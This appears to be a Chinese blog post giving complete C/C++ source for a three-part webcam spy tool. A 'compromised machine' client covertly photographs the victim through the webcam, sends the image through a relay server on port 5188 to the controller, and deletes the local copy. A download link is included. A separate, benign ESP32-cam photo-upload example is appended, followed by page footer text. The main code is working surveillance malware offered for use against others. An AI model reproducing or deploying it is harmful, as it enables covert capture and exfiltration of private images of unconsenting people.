远程拍照并获取图片

主要功能

肉鸡程序启动后可打开摄像头迅速拍摄一张照片,通过服务器发送到主机,发送完成后删除肉鸡本地保存的图片

相关技术

  1. socket网络编程
  2. 文件操作
  3. opencv

代码

肉鸡

#define _WINSOCKAPI_  
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>  
#include <Winsock2.h> 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <tlhelp32.h>
#include <opencv2/opencv.hpp>
#pragma comment(lib,"Ws2_32.lib")

using namespace std;
using namespace cv;


SOCKET inter();
void GetPhoto();
void SendPhoto(SOCKET sockid);

void inter(SOCKET *sockid)
{
	WSADATA wsd;
	if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
	{
		printf("WSAStartup\n");
		system("pause");
		exit(0);
	}
	SOCKADDR_IN addr;
	addr.sin_family = AF_INET;
	addr.sin_port = htons(5188);
	addr.sin_addr.S_un.S_addr = inet_addr("******");//服务器ip
	*sockid = socket(AF_INET, SOCK_STREAM, 0);
	if (connect(*sockid, (SOCKADDR *)&addr, sizeof(addr)) != 0)
	{
		printf("connect\n");
		system("pause");
		exit(0);
	}
}


void GetPhoto()
{
	VideoCapture capture(0);
	int delay = 1000 / 30;
	string a[] = { "photo.jpg"};
	Mat frame;
	capture >> frame;
	imshow("show", frame);
	Sleep(5);
	imwrite(a[0], frame);
}

void SendPhoto(SOCKET sockid)
{
	GetPhoto();
	char buffer[4096] = {0};
	FILE *fp = fopen("photo.jpg", "rb");
	while (!feof(fp))
	{
		int len = fread(buffer, 1, sizeof(buffer), fp);
		if (len != send(sockid, buffer, len,0))
		{
			printf("write.\n");
			break;
		}
		memset(buffer, 0, sizeof(buffer));
	}
	fclose(fp);
	char path[MAX_PATH];
	GetCurrentDirectory(MAX_PATH, path);
	strcat(path, "\\photo.jpg");
	remove(path);
}


int main()
{
	SOCKET sockid;
	inter(&sockid);				//连接服务器
	GetPhoto();					//获取图片
	SendPhoto(sockid);			//发送图片
	closesocket(sockid);
	return 0;
}

主机

#define _WINSOCKAPI_  
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>  
#include <Winsock2.h> 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib,"Ws2_32.lib")

SOCKET inter()
{
	WSADATA wsd;
	if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
	{
		printf("WSAStartup\n");
		system("pause");
		exit(0);
	}
	SOCKADDR_IN addr;
	addr.sin_family = AF_INET;
	addr.sin_port = htons(5188);
	addr.sin_addr.S_un.S_addr = inet_addr("****");//服务器ip
	SOCKET sockid = socket(AF_INET, SOCK_STREAM, 0);
	if (connect(sockid, (SOCKADDR *)&addr, sizeof(addr)) != 0)
	{
		printf("connect\n");
		system("pause");
		exit(0);
	}
	return sockid;
}

void  RecvPhoto(SOCKET sockid)
{
	FILE *fp = fopen("photo.jpg", "wb");
	char buffer[4096] = { 0 };
	while (1) 
	{
		int n = recv(sockid, buffer, 4096,0);
		if (n == 0)
			 break;
		fwrite(buffer, 1, n, fp);
		fseek(fp, 0, SEEK_END);
	}
	fclose(fp);
}

int main()
{
	SOCKET sockid = inter();
	RecvPhoto(sockid);
	return 0;
}

服务器

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <sys/select.h>
#include <string.h>
#include <unistd.h>
#include <malloc.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define clientA 0
#define clientB 1
#define max_client 2

typedef struct clientNew
{
	char     *addr;
	int      sockid;
	uint16_t port;
}client_new;

void client_new_init(client_new c_new[])
{
	int i=0;
	for(;i<max_client;i++)
	{
		c_new[i].addr=NULL;
		c_new[i].sockid=0;
		c_new[i].port=0;
	}
}


int internet(client_new c_new[])
{
	int R_sockid=0,H_sockid=0;
	int flag=1;
	int size=0;
	struct sockaddr_in sockaddr;
	sockaddr.sin_family=AF_INET;
	sockaddr.sin_port=htons(5188);
	sockaddr.sin_addr.s_addr=htonl(INADDR_ANY);
	int sockid=socket(AF_INET,SOCK_STREAM,0);
	const int on=1;
	if(setsockopt(sockid,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on))<0)
	{
		printf("setsockopt\n");
		return 0;
	}
	if(bind(sockid,(struct sockaddr *)&sockaddr,sizeof(sockaddr))<0)
	{
		printf("bind\n");
		return 0;
	}
	if(listen(sockid,SOMAXCONN)<0)
	{
		printf("listen\n");
		return 0;
	}

	struct sockaddr_in other_sock_addr;
	socklen_t other_sock_addr_len=sizeof(other_sock_addr);
	int ret=0,j=0,i=0;
	char receive[10]={0};
	while(j!=max_client)
	{
		int sockid_client=accept(sockid,(struct sockaddr *)&other_sock_addr,&other_sock_addr_len);
		c_new[j].sockid =sockid_client;
		c_new[j].addr=inet_ntoa(other_sock_addr.sin_addr);
		c_new[j].port=ntohs(other_sock_addr.sin_port);
		printf("ip=%s,port=%d  已连接\n",c_new[j].addr,c_new[j].port);
		j++;
	}
    R_sockid=c_new[1].sockid;
    H_sockid=c_new[0].sockid;

	char buffer[4096]={0};
	 while(1)
	{
             	int n = read(R_sockid, buffer, 4096);  
       		if(n == 0)
                	break;
		write(H_sockid,buffer,n);
		memset(buffer,0,sizeof(buffer));
         }
}
int main()
{
	client_new c_new[max_client];
	client_new_init(c_new);
	internet(c_new);
	return 0;
}

注:

  1. 先启动服务器程序,再启动主机程序,最后启动肉鸡程序。(本程序在32位机可能无法启动)
  2. 不铁的朋友不要冒犯
  3. 缺失某些文件可点此处下载
    https://pan.baidu.com/s/1d5ACcgl0-SBRCwIqjFJySw
    提取码:a9k9
    4.服务器程序是在阿里云服务器跑的,如果没有公网ip仅在局域网下是达不到效果的
以下是使用ESP32cam拍照并通过POST上传到远程服务器的一个简单例子程序,供参考: ```c++ #include <WiFi.h> #include "esp_camera.h" #include "Base64.h" #include <HTTPClient.h> // WiFi网络信息 const char* ssid = "your_SSID"; const char* password = "your_PASSWORD"; // 远程服务器信息 const char* serverUrl = "http://your_server_url/upload.php"; // 摄像头分辨率 #define CAMERA_WIDTH 640 #define CAMERA_HEIGHT 480 // 摄像头初始化 void initCamera() { camera_config_t config; config.ledc_channel = LEDC_CHANNEL_0; // LEDC输出通道 config.ledc_timer = LEDC_TIMER_0; // LEDC定时器 config.pin_d0 = 5; // 数据0引脚 config.pin_d1 = 18; // 数据1引脚 config.pin_d2 = 19; // 数据2引脚 config.pin_d3 = 21; // 数据3引脚 config.pin_d4 = 36; // 数据4引脚 config.pin_d5 = 39; // 数据5引脚 config.pin_d6 = 34; // 数据6引脚 config.pin_d7 = 35; // 数据7引脚 config.pin_xclk = 0; // XCLK引脚 config.pin_pclk = 22; // PCLK引脚 config.pin_vsync = 25; // VSYNC引脚 config.pin_href = 23; // HREF引脚 config.pin_sda = 26; // SDA引脚 config.pin_scl = 27; // SCL引脚 config.xclk_freq_hz = 20000000; // XCLK频率 config.pixel_format = PIXFORMAT_JPEG; // 像素格式 config.frame_size.width = CAMERA_WIDTH; // 帧宽度 config.frame_size.height = CAMERA_HEIGHT; // 帧高度 config.jpeg_quality = 10; // JPEG质量 config.fb_count = 1; // 帧缓存数量 esp_err_t err = esp_camera_init(&config); if (err != ESP_OK) { Serial.printf("Camera init failed with error 0x%x", err); } } // 连接WiFi void connectWiFi() { Serial.printf("Connecting to %s ...", ssid); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.print("."); } Serial.printf("WiFi connected, IP address: %s", WiFi.localIP().toString().c_str()); } // 拍照并上传到远程服务器 void takePhotoAndUpload() { // 拍照 camera_fb_t* fb = esp_camera_fb_get(); if (!fb) { Serial.println("Camera capture failed"); return; } // 转换为Base64编码 String base64str = base64::encode(fb->buf, fb->len); // 构建POST请求 HTTPClient http; http.begin(serverUrl); http.addHeader("Content-Type", "application/x-www-form-urlencoded"); // 将Base64编码的图片作为请求体发送 String requestBody = "image=" + base64str; int httpResponseCode = http.POST(requestBody); // 处理响应 if (httpResponseCode > 0) { String response = http.getString(); Serial.printf("HTTP response code: %d, response: %s\n", httpResponseCode, response.c_str()); } else { Serial.printf("HTTP request failed, error: %s\n", http.errorToString(httpResponseCode).c_str()); } // 释放资源 http.end(); esp_camera_fb_return(fb); } void setup() { Serial.begin(115200); initCamera(); connectWiFi(); } void loop() { takePhotoAndUpload(); delay(5000); } ``` 在这个例子程序中,我们首先初始化了摄像头并连接了WiFi网络。然后在`loop()`函数中,我们调用`takePhotoAndUpload()`函数进行拍照并上传到远程服务器。在`takePhotoAndUpload()`函数中,我们调用`esp_camera_fb_get()`函数获取一帧摄像头数据,并将其转换为Base64编码的字符串。然后我们使用HTTPClient库构建POST请求,并将Base64编码的图片作为请求体发送到远程服务器上。最后我们处理远程服务器的响应,并释放资源。注意,我们在每次上传完图片后延迟了5秒钟,以免频繁上传占用过多的带宽和资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值